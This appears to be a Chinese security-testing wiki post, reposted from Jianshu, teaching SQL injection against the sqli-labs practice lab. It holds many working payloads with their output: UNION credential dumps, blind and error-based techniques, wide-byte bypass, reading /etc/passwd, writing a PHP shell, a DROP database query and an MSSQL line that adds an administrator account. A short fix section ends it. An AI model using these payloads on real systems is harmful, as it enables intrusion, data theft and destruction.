113  
查询码:00000116
SQL注入攻击与防御
作者: 何旭 于 2020年06月17日 发布在分类 / 测试组 / 安全测试 下,并于 2020年06月17日 编辑
SQL注入

SQL注入是什么

SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。

SQL注入漏洞产生原理

对构造成SQL语句的变量,过滤不严格,造成可以构造任意的SQL语句,传递到数据库执行。

哪里能够引发SQL注入

  • get query string
  • port string
  • http header

SQL注入分类

  • UNION query SQL injection(可联合查询注入)
  • Boolean-based blind SQL injection(布尔型注入)
  • Error-based SQL injection(报错型注入)
  • Stacked queries SQL injection(可多语句查询注入)
  • Time-based blind SQL injection(基于时间延迟注入)

如何判断SQL注入

'
\
and 1=1  / and 1=2
+1 / -1
and sleep(5)
……… 

SQL注入利用手法

UNION query SQL injection(可联合查询注入)

优点

方便 易于利用 快捷

缺点

要求网站没有过滤关键字 没有转义 有显示位

利用

判断是否能注入及注入类型

http://www.2.my/sqli-labs-master/Less-1/index.php?id=1' 

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

near '(')1'(') LIMIT 0,1' at
说明是字符型

http://www.2.my/sqli-labs-master/Less-1/index.php?id=1' and '1' = '1 
http://www.2.my/sqli-labs-master/Less-1/index.php?id=1' and 1 = 1 --+ 
http://www.2.my/sqli-labs-master/Less-1/index.php?id=1' and 1 = 1 --%20 

返回正常

http://www.2.my/sqli-labs-master/Less-1/index.php?id=1' and '1' = '2 

返回错误


判断列数

http://www.2.my/sqli-labs-master/Less-1/index.php?id=1' ORDER BY 1,2,3 --+ 

返回正常

http://www.2.my/sqli-labs-master/Less-1/index.php?id=1' ORDER BY 1,2,3,4 --+ 

报错

Unknown column '4' in 'order clause'
说明有3列


获取所有数据库

http://www.2.my/sqli-labs-master/Less-1/index.php?id=-1' union select 1,group_concat(schema_name),3 FROM information_schema.schemata --+ 

Your Login name:information_schema,challenges,mysql,performance_schema,security,test
Your Password:3


获取所有表名

http://www.2.my/sqli-labs-master/Less-1/index.php?id=-1' union select 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() --+ 

Your Login name:2
Your Password:emails,referers,uagents,users


获取所有列名

http://www.2.my/sqli-labs-master/Less-1/index.php?id=-1' union select 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() and table_name='users' --+ 

Your Login name:2
Your Password:id,username,password


字段查询

http://www.2.my/sqli-labs-master/Less-1/index.php?id=-1' union select 1,2,group_concat(id,0x7e,username,0x7e,password) FROM users --+ 

Your Login name:2
Your Password:1DumbDumb,2AngelinaI-kill-you,3Dummyp@ssword,4securecrappy,5~stupid…


文件读取

http://www.2.my/sqli-labs-master/Less-1/index.php?id=-1' union select 1,2,hex(LOAD_FILE('/etc/passwd')) --+ 

Your Login name:2
Your Password:3131313131313131


文件写入

http://www.2.my/sqli-labs-master/Less-1/index.php?id=-1' union select 1,2,'<?php xxxxxxx ?>' INTO OUTFILE '/var/www/html/shell.php' --+ 

Error-based SQL injection(报错型注入)

优点

良好的效果 语句固定

缺点

需要脚本输出 sql错误信息

利用

rand()函数是生成0-1之间的小数随机值,rand()*2是生成0-2之间的小数随机数,floor(rand()*2)就相当于生成0/1两个随机值


1、

?id=-1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(FLOOR(RAND(0)*2),0x3a,database())x FROM information_schema.tables GROUP BY x)a)--+ 

结果:
Duplicate entry '1:security' for key 'group_key'

还可以用
left(RAND(0),3)
right(RAND(0),1)
ceil(rand(0)*2)


2、

?id=-1' and extractvalue(1, concat(0x7e, (select @@version),0x7e))--+ 

XPATH syntax error: '~information_schema,challenges,d'

数据有限


3、

?id=-1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) 

4、

分享完添加

Boolean-based blind SQL injection(布尔型注入)

优点

良好的效果 利用条件不难

缺点

工作量大 需要时间

利用

length()函数

mysql> select length("1234567890");
+----------------------+
| length("1234567890") |
+----------------------+
| 10 |
+----------------------+
1 row in set (0.00 sec)


因为
mysql> select length(database()) > 1;
+------------------------+
| length(database()) > 1 |
+------------------------+
| 1 |
+------------------------+

所以有

?id=1' and length(database())>1 --+ 成立
?id=1' and length(user())>1 --+ 成立

mysql> select (select count(*) from users where length(id)) > 0;
+---------------------------------------------------+
| (select count(**) from users where length(id)) > 0 |
+---------------------------------------------------+
| 1 |
+---------------------------------------------------+
证明 users 表存在
.......


substr()函数
substr(string,start,length)
string - 指定的要截取的字符串。
start - 必需,规定在字符串的何处开始。正数 - 在字符串的指定位置开始,负数 - 在从字符串结尾的指定位置开始,0 - 在字符串中的第一个字符处开始。
length - 可选,指定要截取的字符串长度,缺省时返回字符表达式的值结束前的全部字符。

例、
mysql> select substr("1234567890",1,3);
+--------------------------+
| substr("1234567890",1,3) |
+--------------------------+
| 123 |
+--------------------------+
1 row in set (0.00 sec)


因为
mysql> select "a" = "a";
+-----------+
| "a" = "a" |
+-----------+
| 1 |
+-----------+
1 row in set (0.00 sec)


所以
?id=1' and substr(database(),1,1)="s"--+


ascii()函数
ASCII(str)
返回最左边的字符的字符串str的数值。
// ord()

mysql> select ascii("a");
+------------+
| ascii("a") |
+------------+
| 97 |
+------------+
1 row in set (0.00 sec)


所以
?id=1' and ascii(substr(database(),1,1)) = 115--+


其他:

MAKE_SET(bits,str1,str2,...)

返回一组值(包含子字符串分隔,字符)组成的字符串有相应的位设置位。str1的对应于str2的位0,位1,依此类推。在str1,str2中,NULL值...不添加到结果。


mysql> SELECT MAKE_SET(1,(version()));
+-------------------------+
| MAKE_SET(1,(version())) |
+-------------------------+
| 5.5.47 |
+-------------------------+
1 row in set (0.00 sec)

ELT(N,str1,str2,str3,...)

如果N =1返回str1,如果N= 2返回str2,

等等。

Stacked queries SQL injection(可多语句查询注入)

优点

利于构造语句

缺点

有的数据库不支持

图片名称
利用

构成语句:SELECT * FROM products WHERE id = 10; DROP database --
这在执行完正常查询之后将会执行DROP查询。

Time-based blind SQL injection(基于时间延迟注入)

优点

可以在条件很苛刻的情况下注入(无报错,无显示位)

缺点

非常费时间

利用

IF(Condition,A,B)
当Condition为TRUE时,返回A;当Condition为FALSE时,返回B。

Condition 可以是bool注入的语句

例:
1"+and+if(1=1, sleep(10), null)+--+
1"+and+if(1=0, sleep(10), null)+--+

其他函数也可以利用:
'IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false))

偏移注入

优点

你知道目标表的一个字段,比如id,但是却不知道其他字段

缺点

Union合并查询需要列相等,顺序一样

利用

只知道id段 可以查出所有字段

mysql> select * from (users as a join users as b on a.id=b.id );
+----+----------+------------+----+----------+------------+
| id | username | password | id | username | password |
+----+----------+------------+----+----------+------------+
| 1 | Dumb | Dumb | 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you | 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword | 3 | Dummy | p@ssword |
。。。。。。。。
| 14 | admin4 | admin4 | 14 | admin4 | admin4 |
+----+----------+------------+----+----------+------------+
13 rows in set (0.00 sec)

宽字节注入

优点

GB2312、GBK、GB18030、BIG5、Shift_JIS等这些宽字节,如果开启了转义,可以绕过

缺点

条件苛刻

利用

'是%27
\是%5c

输入%df%27
转义为%df%5c%27

则MySQL用GBK的编码时,会认为 %df%5c 是一个2字节的宽字符(縗)
%df%5c%27 就成了 縗' 而没有了 ' 最后单引号可以被闭合

?id=%bf%27 union select 1,2,database() --+

二次注入

优点

数据输入sql无法绕过时 数据取出时也可以注入

缺点

不容易发现

利用

注册时用户名为admin'--+

去更改密码 语句为:
sql = "update users set password = '" + $newpassword + "' where username = '" + $username + "'";
变成:
$username = admin'--+
sql = "update users set password = 'admin'--+' where username = '" + $username + "'";

更改了admin的密码

MySQL root 读写文件

优点

可以获取大量敏感信息 系统信息

缺点

利用
http://www.2.my/sqli-labs-master/Less-1/index.php?id=-1' union select 1,2,hex(LOAD_FILE('/etc/passwd')) --+ 
http://www.2.my/sqli-labs-master/Less-1/index.php?id=-1' union select 1,2,'<?php xxxxxxx ?>' INTO OUTFILE '/test.txt' --+ 

MSSQL sa 执行命令

优点

直接取得服务器权限

缺点

条件苛刻

利用
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/winnt/system32/ias/ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")') 

漏洞修补方案

整型注入修补方案

在接受参数时,添加intval()函数进行过滤
添加is_numeric

字符串注入修补方案

转义:
htmlspecialchars()
mysqli_real_escape_string()
过滤:
过滤关键字 过滤特殊字符

by secevery


作者:zksmile
链接:https://www.jianshu.com/p/ba35a7e1c67d
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。


 推荐知识

 历史版本

修改日期 修改人 备注
2020-06-17 16:14:43[当前版本] 何旭 1.0

  目录
    知识分享平台 -V 4.8.7 -wcp